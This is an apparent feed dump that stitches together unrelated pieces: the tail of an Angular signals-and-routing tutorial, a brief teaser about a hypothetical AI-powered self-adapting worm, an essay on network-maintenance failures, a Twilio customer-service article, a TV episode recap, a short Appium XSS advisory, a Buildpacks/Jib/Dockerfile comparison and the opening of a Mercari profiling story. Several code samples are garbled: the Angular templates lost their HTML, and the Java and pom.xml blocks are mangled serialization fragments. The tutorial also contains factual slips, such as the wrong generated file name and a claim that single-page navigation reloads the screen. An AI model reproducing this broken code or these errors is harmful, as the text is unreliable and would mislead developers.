src/app/app.config.ts: This file is new in modern Angular and replaces the old AppModule providers array. It is where you configure global services, like the router or HTTP client.
angular.json: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.

Here is the basic flow of how the engine renders these components:

The arrival (HTML): The browser receives index.html. The tag is there, but it’s empty.
The unpacking (JavaScript): The browser sees the tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from src/app/app.ts.
The assembly (Bootstrap): The browser runs that JavaScript. The code “wakes up,” finds the tag in the DOM, and dynamically inserts your title, buttons, and lists.

This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.

Developing your first web app in Angular

If you open src/app/app.ts (more info here) the component definition looks like this:

import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}

Before we dissect the code, let’s run the app and see what it produces:

$ ng serve

You should see a page like this one at localhost:4200:

Matthew Tyson

Returning to the src/app.ts component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.

The class (export class App)

Export class App is vanilla TypeScript that holds your component’s data and logic. In our example, title = signal(‘iw-ng’) defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a signal. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.

The metadata (@Component)

The @Component decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:

selector: 'app-root': Defines the custom HTML tag associated with any given component. Angular finds in your index.html and renders the component there.
imports: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like RouterOutlet or other components) here, rather than hiding them in a separate module file.
templateUrl: Points to the external HTML file that defines the view.

The view (the template)

This is the visual part of the component, defined in app.html. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)

We can modify src/app/app.html to see how these three elements work together. To start, delete the default content and add the following:

Hello, {{ title() }}

The double curly braces {{ }} are called interpolation. Notice the parentheses in title(). We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., this.title.set('New Value')), the text on the screen would update instantly.

Angular’s built-in control flow

Old-school Angular required “structural directives” like *ngIf and *ngFor logic control. These were powerful but required importing CommonModule and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).

To see the new control flow in action, let’s add a list to our component. Update src/app/app.ts as follows, leaving the rest of the file the same:

export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v => !v);
  }
}

While we’re at it, let’s also update src/app/app.html to render this new list (don’t worry about for now; it just tells Angular where to render the framing template):



@if (showList()) {
  
    @for (tech of frameworks(); track tech) {
      {{ tech }}
    }
  
} @else {
  List is hidden
}

The app will now display a list that can be toggled for visibility:

Matthew Tyson

This syntax is cleaner and easier to read than the old *ngFor loops:

@if conditionally renders the block if the signal’s value is true.
@for iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).
(click) is an event binding. It lets us run code (the toggleList method) when the user interacts with the button.

Services: Managing business logic in Angular

Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.

A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.

To generate a service, you can use the CLI:

$ ng generate service frameworks

This command creates a src/app/hero.ts file. In modern Angular, we define services using the @Injectable decorator. Currently, the src/app/hero.ts file just has this:

import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}

Open the file and add a simple method to return our data:

import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}

The providedIn: 'root' metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the singleton pattern).

Using the service

In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the inject() function. Subsequently, we can refactor our src/app/app.ts to get its data from the service instead of hardcoding it:

import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v => !v);
  }
}

Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.

Routers and routes

Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, src/app/app.routes.ts is the dedicated home for the router config. Let’s follow the steps for creating a new route.

First, we define the route. When you open src/app/app.routes.ts, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.

In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)

For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:

$ ng generate component details

This will generate a simple details component in the src/app/details directory.

Now we can update src/app/app.routes.ts to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:

import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];

Now if you visit localhost:4200/home, you’ll get the message from the details component: “Details works!”

Next, we’ll use the routerLink directive to move between views without refreshing the page. In src/app/app.html, we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):


  Home | 
  Details

And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.

Parametrized routes

The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open src/app/app.routes.ts and add a dynamic path:

export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];

The :id is a placeholder. Whether the URL is /details/42 or /details/108, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the ActivatedRoute service or the new withComponentInputBinding). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).

Conclusion

We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.

Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:

State management: Beyond signals, Angular has support for managing complex, application-wide state.
Forms: Angular has a robust system for handling user input.
Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.
Build: You can learn more about producing production builds.
RxJS: Takes reactive programming to the next level.

AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time

Mon, 13 Jul 2026 14:39:32 +0200

A new threat model is raising hard questions about how quickly self-spreading malware could change during an attack. The proposed Intelligent Worm is not a confirmed strain found in the wild, but a scenario in which a worm uses an onboard reasoning loop to revise its attack methods after defenses block its original route. Like […]

The post AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time appeared first on Cyber Security News.

Routine maintenance as a failure vector in modern networks

Mon, 13 Jul 2026 11:08:40 +0200

Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.

Every pre-check passed. Device health looked normal. High-availability synchronization was complete. Monitoring showed no obvious concerns. Yet shortly after the change, users began reporting application failures.

The root cause was not a failed upgrade, hardware fault or software defect. The maintenance activity exposed a dependency elsewhere in the traffic path that nobody had considered.

Since then, I have seen similar patterns repeatedly across enterprise environments. The change itself was rarely the problem. The problem was the assumption that the change was isolated.

Planned maintenance is intended to reduce risk, but in practice, it often introduces risk into an otherwise stable network.

Many production incidents result from routine tasks such as firewall updates, DNS changes, certificate renewals, routing adjustments, load balancer failovers, WAF updates, switch upgrades or software patches, rather than dramatic failures.

The reality is that “routine” does not equate to “low risk.” It simply means the activity has been performed before, not that the current environment will respond the same way.

Modern networks have become too interconnected for maintenance to be treated as a simple device-level task. A change to one control point can expose a dependency elsewhere in the traffic path. A firewall update can affect asymmetric return traffic. A DNS change can shift users to a data center where persistence is not aligned. A load balancer failover can expose stale ARP or MAC learning issues. A certificate renewal can cause an inspection or TLS negotiation to fail in the backend. A WAF update can block application behavior that was never visible in testing.

Failures rarely stem from the maintenance activity itself, but rather from the assumption that the change is isolated.

Why routine changes still cause outages

In traditional network operations, the unit of change was often a device: upgrade a switch, modify a router, add a firewall rule, renew a certificate or reboot an appliance. That model worked better when application traffic paths were simpler, and dependencies were easier to understand.

Today, a single user transaction may cross DNS, global traffic management, WAN routing, data center switching, firewalls, load balancers, TLS inspection points, WAF policies, API gateways and backend application tiers. Each layer may make an independent decision about availability, security, routing or session handling.

This creates a risky maintenance pattern. Teams often validate only the component they changed, not the complete traffic flow before and after the change. Devices may appear healthy, configurations may load correctly and all checks may pass, yet users can still experience failures due to a changed dependency somewhere in the end-to-end path.

Google’s Site Reliability Engineering (SRE) guidance highlights that changes remain one of the most common sources of service disruption, which is why mature organizations invest heavily in change validation, rollback planning and observability. The SRE book provides extensive discussion of change management, reliability engineering and operational risk in large-scale environments.

For this reason, maintenance windows should be evaluated as both operational events and potential failure vectors.

Common failure points during maintenance

One common issue is state mismatch. Firewalls, load balancers, NAT devices and application delivery controllers often maintain connection or session state. During failover, reboot or path change, existing flows may not survive even if the standby device becomes active as designed. New connections may succeed while long-lived sessions fail. In other cases, traffic may enter through one device and return through another, causing stateful inspection to drop packets that appear invalid.

Asymmetric routing is another frequent cause. A routing change may look harmless from a Layer 3 perspective, but if the forward and return paths traverse different firewalls or inspection zones, applications can fail intermittently. The network may still be “up,” but the security policy no longer sees the full conversation.

Layer 2 behavior is also underestimated. In highly available data center designs, MAC learning, ARP cache behavior, VLAN tagging, port channels and first-hop gateway behavior can determine whether traffic moves cleanly after a failover. A device may successfully assume an active role, but upstream switches or firewalls may still forward traffic toward the old path until tables age out or are refreshed.

DNS and GSLB changes introduce a different class of risk. Teams often test name resolution, but resolution is only the first step. The more important question is where users are being sent and whether that destination is ready to handle production traffic.

DNS resilience guidance published by the Internet Society emphasizes that successful name resolution alone does not guarantee application availability, particularly when multiple infrastructure dependencies exist behind the DNS response.

If global traffic management shifts users from one data center to another, the receiving site must have aligned firewall rules, load balancer configuration, health monitors, certificates, persistence behavior, routing advertisements and backend capacity. Otherwise, DNS sends users to a site that is not actually ready.

Certificate maintenance can also break more than the browser-facing endpoint. In many environments, TLS is terminated, re-encrypted, inspected or validated across multiple hops. Renewing a certificate on the external virtual server may not address backend certificates, intermediate chains, SNI behavior, cipher compatibility or trust stores used by inspection devices. The maintenance task may be described as a certificate renewal, but the real dependency is end-to-end TLS negotiation.

Security policy maintenance creates another risk. WAFs, IPSs, DDoS protection systems, bot defense platforms and firewall policies are designed to block abnormal behavior. But during updates, tuning changes or signature refreshes, they can also block legitimate application traffic if policy enforcement is not validated against real transaction patterns.

This is especially true for APIs, where small differences in headers, methods, payload structure or authentication flows can trigger unexpected enforcement.

The test environment problem

Many teams rely on pre-checks and test environments, but these controls are often less effective than they seem.

Pre-checks confirm device reachability, interface status, route existence, pool member availability and HA health. While necessary, these checks do not ensure production traffic will survive a path change because they focus on infrastructure rather than transaction validation.

Test environments rarely mirror production. Production environments involve real user volume, client diversity, DNS caching behavior, firewall states, certificates, backend latency and complex dependencies. A failover that succeeds in a lab may behave very differently in the real world.

This does not render testing useless, but test results should not be considered proof of production safety. They provide evidence, not a guarantee.

This challenge aligns with broader operational resilience guidance from the NIST Cybersecurity Framework, which emphasizes continuous monitoring, validation and recovery planning as critical operational capabilities.

A stronger maintenance process starts with mapping the traffic path before the window. For critical applications, teams should understand the normal ingress path, egress path, firewall zones, NAT points, load balancer virtual servers, DNS or GSLB decision points, TLS termination points, persistence requirements and backend dependencies.

The next step is defining failure expectations. What happens to existing sessions if a firewall is rebooted? Should source MAC, floating IP, ARP or upstream forwarding behavior change during a load balancer failover? How long will cached clients continue to access the old site after a DNS shift? Which clients and inspection devices validate the certificate chain when a certificate is replaced?

These questions should be addressed before the maintenance window, not during an outage.

Pre-checks should include both control-plane and data-plane evidence. Control-plane checks confirm configuration, synchronization, device health, routing tables, interface status and object availability. Data-plane checks validate real traffic movement: TCP handshakes, TLS negotiation, HTTP status codes, API responses, session persistence, source NAT behavior and return-path consistency.

During the change, monitoring should focus on symptoms that expose traffic failure early. Device CPU and interface status are useful, but they are not enough. Teams should also watch connection resets, denied firewall logs, WAF violation spikes, pool member selection failures, DNS answer changes, TCP retransmissions, backend 5xx errors and synthetic transaction results.

Rollback planning must also be precise. Simply rolling back a configuration is often insufficient. If a DNS record changes, cached clients may continue using the previous answer. If a firewall state table is cleared, restoring the rule does not recover active sessions. If failover alters forwarding behavior, upstream devices may require ARP refresh, route reconvergence or manual validation.

An effective rollback plan should identify lost state, persistent caches and the evidence required to confirm recovery.

Treating maintenance as a resilience exercise

The objective is not to make maintenance overly complex or bureaucratic. The objective is to avoid underestimating its risks.

Every maintenance window is a controlled opportunity to test whether the network behaves as specified by the architecture.

If failover is part of the design, maintenance should verify failover behavior. If a secondary data center is expected to handle traffic, maintenance should demonstrate that it can process real transactions. If security policies are updated, maintenance should prove that legitimate traffic is still allowed. If certificates are renewed, maintenance should validate the complete TLS path, not just the public endpoint.

Industry outage studies published by the Uptime Institute consistently show that human error and process failures remain significant contributors to downtime. Their annual outage research continues to highlight the role of operational processes and maintenance activities in service disruptions.

Maintenance windows provide an opportunity to identify those weaknesses before they become customer-facing incidents.

This requires closer collaboration between network, security, application and operations teams. Network engineers may own routing or load-balancing changes, but application teams understand transaction flows. Security teams understand inspection and enforcement behavior. Operations teams often see user-impacting symptoms first.

Treating maintenance as a shared traffic event rather than a device event reduces blind spots.

Routine maintenance will always involve some risk. However, the greatest risk is the false confidence that the term ‘routine’ conveys.

Modern networks fail in the spaces between systems: between DNS and load balancing, between firewalls and routing, between TLS inspection and application behavior, between HA design and actual forwarding state. Maintenance exposes those spaces.

For that reason, network teams should view every maintenance window as more than a checklist. It is a live test of architecture, operational discipline and production resilience.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Why the future of customer service is resolution, not fast replies

Mon, 13 Jul 2026 10:18:32 +0200

Most AI agents today are optimised for responsiveness—faster first responses, shorter wait times, higher service rates. And on those metrics, they’re delivering.

It’s no surprise then that 90% of business leaders believe their customers are satisfied with conversational AI experiences. Yet only 59% of consumers agree, according to Twilio’s latest report on conversational AI.

What could explain this 31-point gap? The data is unambiguous. 54% of consumers say AI agents rarely have context about them as a customer. 78% say the ability to escalate to a human is important, yet few get the chance to do so. And only 15% report experiencing a seamless handoff from an AI agent to a human one.

All this to say that the real measure of an AI agent isn’t how fast it answers, but whether it solves the problem. In fact, 72% of consumers would choose an AI over a human if it could resolve their issue more quickly.

Speed without resolution will only result in frustration.

Why most AI agents aren’t great at resolution

It’s not hard to see why most AI agents fail to resolve customer issues: they can’t take action on behalf of the customer, they can’t escalate conversations when they reach their limits, and they lack the real-time context needed to personalise the interaction.

Think about what a typical AI service interaction looks like. A customer calls with a billing question. The AI agent reads their intent accurately enough. But it can’t pull up the customer’s account in real time, process a credit, or route to a human specialist who knows the context of the conversation. So the customer repeats themselves. Or simply gives up.

The root cause is structural. In most stacks, the channel is the system of record, not the conversation. Voice, SMS, chat, and WhatsApp each run as separate sessions, so the moment a customer switches channels or escalates to a human, the interaction resets. Engineering teams paper over this by stuffing full transcripts into AI prompts to fake continuity. This inflates token costs, slows responses, and still truncates older context once the window fills up.

This is the gap between a chatbot and an agent. A chatbot responds. An agent resolves. It’s no wonder that the 59% of organisations planning to fully replace their current conversational AI solution within the year understand this distinction. Their early investments were simply optimised for the wrong outcome.

What resolution actually requires

A smarter agent only gets you so far. Businesses need four capabilities to close the resolution gap:

Agency: Agents must be able to take real action, such as scheduling, processing, and updating records, within the conversation itself.
Always-on monitoring: Agents should continuously evaluate the quality of interactions and catch failures before they become customer complaints
Intelligent routing: Agents should escalate issues with full context so that humans can pick up where they left off.
Real-time contextual data: Agents should have the same customer context as a well-prepared human agent. This includes purchase history, past interactions, account status, and preferences.

None of these are speculative. They’re available today, and the companies deploying them are already seeing the difference.

Case in point: OhMD, a healthcare communications platform for physician practices and medical groups. The company built Nia, an AI-powered voice assistant that uses Twilio’s Conversation Relay to handle routine patient calls (scheduling, prescription refills, FAQs). Complex calls are routed to staff with full context, which saves patients from repeating themselves.

The results were immediate. OhMD saw a 60% improvement in self-service first-call resolution, with appointment scheduling flows completing in as little as one minute. By 2026, Nia is projected to handle more than 55 million patient interactions annually.

As Twilio CEO Khozema Shipchandler noted, “What we’re starting to see with OhMD is that they’ve got a 60% lift in self-serve capability to actually resolve calls. They’re able to drive the conclusion of these calls in less than a minute in many instances.”

Patients aren’t impressed because the phone rang once. They’re impressed because the call ended with their problem solved.

Think resolution, not speed

For every customer service leader evaluating their AI agent roadmap, the implication is straightforward. Stop measuring success by response time alone. Start measuring it by resolution rate—specifically, self-service resolution rate.

That means investing not in faster replies, but in smarter infrastructure: agents that act, routing that adapts, data that flows in real time, and monitoring that holds the system accountable.

The future of customer service isn’t about answering faster. It’s about answering fully.

To learn more about Twilio, visit here.

Agent Kim Reactivated Season 1 Episode 6 Recap: Kim Finally Reaches Min-ji

Mon, 13 Jul 2026 09:40:01 +0200

Agent Kim Reactivated Season 1, Episode 6 finally brings Manager Kim within reach of Min-ji, but their reunion creates new problems that will shape the remaining episodes. Kim, Jin-cheol, and Han-su’s Past Episode 6 opens with another flashback featuring Kim, Jin-cheol, and Han-su during their time as operatives. Set on Jeju Island in 2006, the mission involves protecting the visiting U.S. president’s daughter. The sequence mainly shows how the three men worked together before their lives moved in different directions. Their contrasting personalities created disagreements even then, but their combined skills made them an effective team. This history becomes important during the present-day rescue mission. Kim remains focused on finding Min-ji, while Jin-cheol and Han-su bring their own chaotic energy to the operation. Their arguments add humour without weakening the danger surrounding them. Min-ji Tries to Outsmart Mr. Ju After entering Mr. Ju’s car at the end of Episode 5, Min-ji quickly realises that she has walked into another trap. Mr. Ju presents himself as someone who can help her, but she understands that the powerful father of her school bully cannot be trusted. Min-ji stays calm and pretends to know less than she does. She listens carefully, looks for opportunities to contact her father, and tries to delay Mr. Ju’s plans. Her actions continue to show that she is more than someone waiting to be rescued. She understands when to remain silent and when to use the information she has gathered. However, too many people are searching for her. Golden Teeth remains alive and wants revenge, while Sang-a and the SMD laundromat group become involved in the growing conflict. Every time Min-ji escapes one dangerous situation, another enemy closes in. Min-ji Learns the Truth About Her Father Episode 6 also changes Min-ji’s understanding of Manager Kim. For the first time, she begins to learn what her father actually did before becoming an ordinary office worker. Kim kept his past hidden because he wanted to protect his daughter and give her a normal life. However, Min-ji sees the secrecy as another deception in a relationship that was already under pressure. This revelation adds an emotional conflict to the rescue. Kim can save Min-ji from her kidnappers, but rebuilding her trust will take much longer. She now has to accept that her quiet father once lived as a highly trained operative capable of extreme violence. Manager Kim Finally Reaches Min-ji The final part of the episode delivers the action-heavy rescue that the season has been building toward. Jin-cheol and Han-su take on key roles as the group attacks the location where Min-ji is being held. Kim eventually reaches his daughter, giving viewers the reunion they have been waiting for. The moment brings relief, but it does not close the central story. Several enemies remain active, and Min-ji is still valuable to anyone who wants control over Kim. Keeping her safe will require the three former operatives to continue working together. The reunion also leaves Kim facing a more personal challenge. Min-ji now knows that much of the life she shared with her father was built around secrets. Agent Kim Reactivated Episode 6 ends with the physical rescue largely complete, but the emotional rescue has only started. With four episodes remaining in the 10-part season, Kim must protect Min-ji while repairing the relationship damaged by years of lies.

CVE-2026-58191 | Appium up to 10.6.x Route /test/guinea-pig compileLodashTemplate throwError/comments/User-Agent cross site scripting

Mon, 13 Jul 2026 08:50:53 +0200

A vulnerability was found in Appium up to 10.6.x. It has been declared as problematic. Impacted is the function compileLodashTemplate of the file /test/guinea-pig of the component Route Handler. Such manipulation of the argument throwError/comments/User-Agent leads to cross site scripting. This vulnerability is documented as CVE-2026-58191. The attack can be executed remotely. There is not any exploit available.

Buildpacks vs Jib vs Dockerfile: Comparing containerization methods

Sun, 12 Jul 2026 08:06:57 +0200

As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.

That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.

A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the Open Container Initiative (OCI) and the virtualization layer switched from lxc to runc (also an OCI project).

The traditional way to build a Docker container is built into the docker tool and uses a sequence of special instructions usually in a file named Dockerfile to compile the source code and assemble the "layers" of a container image.

Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:

Container Builders - Turn source code into a Container Image
Container Images - Archive files containing a "runnable" application
Containers - Run Container Images

With Java EE those three categories map to technologies like:

Container Builders == Ant or Maven
Container Images == .jar, .war, or .ear
Containers == JBoss, WebSphere, WebLogic

With Docker / OCI those three categories map to technologies like:

Container Builders == Dockerfile, Buildpacks, or Jib
Container Images == .tar files usually not dealt with directly but through a "container registry"
Containers == Docker, Kubernetes, Cloud Run

Java Sample Application

Let's explore the Container Builder options further on a little Java server application. If you want to follow along, clone my comparing-docker-methods project:

git clone https://github.com/jamesward/comparing-docker-methods.git

cd comparing-docker-methods

In that project you'll see a basic Java web server in src/main/java/com/google/WebApp.java that just responds with "hello, world" on a GET request to /. Here is the source:

code_block: {\r\n byte[] response = "hello, world".getBytes();\r\n handler.sendResponseHeaders(200, response.length);\r\n try (OutputStream os = handler.getResponseBody()) {\r\n os.write(response);\r\n }\r\n });\r\n\r\n System.out.println("Listening at http://localhost:" + port);\r\n\r\n server.start();\r\n }\r\n}'), ('language', ''), ('caption', )])]>

This project uses Maven with a minimal pom.xml build config file for compiling and running the Java server:

code_block: \r\n\r\n 4.0.0\r\n\r\n com.google\r\n sample-java-mvn\r\n jar\r\n 0.1.0-SNAPSHOT\r\n\r\n \r\n 8\r\n 8\r\n \r\n\r\n \r\n \r\n \r\n org.codehaus.mojo\r\n exec-maven-plugin\r\n 1.6.0\r\n \r\n \r\n \r\n java\r\n \r\n \r\n \r\n \r\n com.google.WebApp\r\n \r\n \r\n\r\n \r\n org.apache.maven.plugins\r\n maven-jar-plugin\r\n 3.2.0\r\n \r\n \r\n \r\n com.google.WebApp\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n'), ('language', ''), ('caption', )])]>

If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:

./mvnw compile exec:java

You can test the server by visiting: http://localhost:8080

Container Builder: Buildpacks

We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: https://buildpacks.io/

To use Buildpacks you will need to install Docker and the pack tool. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:

pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks

Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened? Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the pom.xml file and decided it knows how to build Maven-based applications. The --builder flag told it where to get the Buildpacks from. In this case, gcr.io/buildpacks/builder:v1 are the Container Image coordinates to Google Cloud's Buildpacks. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter comparing-docker-methods:buildpacks is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with docker:

docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks

Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.

Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called dive to examine what is in the created container image:

dive comparing-docker-methods:buildpacks

Here you can see the Container Image has 11 layers and a total image size of 319MB. With dive you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.

To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.

Container Builder: Jib

The open source Jib project is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the pom.xml file:

code_block: \r\n com.google.cloud.tools\r\n jib-maven-plugin\r\n 2.6.0\r\n'), ('language', ''), ('caption', )])]>

Now a Container Image can be created and stored in the local docker daemon by running:

./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib

Using dive we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:

In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.

Container Builder: Dockerfile

The traditional way to create Container Images is built into the docker tool and uses a sequence of instructions defined in a file usually named Dockerfile. Here is a Dockerfile you can use with the sample Java application:

code_block: )])]>

In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run docker to create the Container Image using the Dockerfile instructions:

docker build -t comparing-docker-methods:dockerfile

Using dive we can see a pretty slim Container Image at 209MB:

With a Dockerfile we have full control over the layering and base images. For example, we could use the Distroless Java base image to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.

With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:

code_block: )])]>

You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the native-image tool creates the binary from the Jar. The FROM scratch instruction means the final container image will start with an empty one. The statically linked binary created by native-image is then copied into the empty container.

Like before you can use docker to build the Container Image:

docker build -t comparing-docker-methods:graalvm .

Using dive we can see the final Container Image is only 11MB!

And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, GraalVM Native Image Tips & Tricks.

This example does capture the flexibility of the Dockerfile method and the ability to do anything you need. It is a great escape hatch when you need one.

Which Method Should You Choose?

The easiest, polyglot method: Buildpacks
Great layering for JVM apps: Jib
The escape hatch for when those methods don't fit: Dockerfile

Check out my comparing-docker-methods project to explore these methods as well as the mentioned Spring Boot + Jib example.

How Mercari reduced request latency by 15% with Cloud Profiler

Sun, 12 Jul 2026 08:06:56 +0200

Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products.

The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer predicts that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace Mercari Inc—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely.

Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.

A microservices menagerie

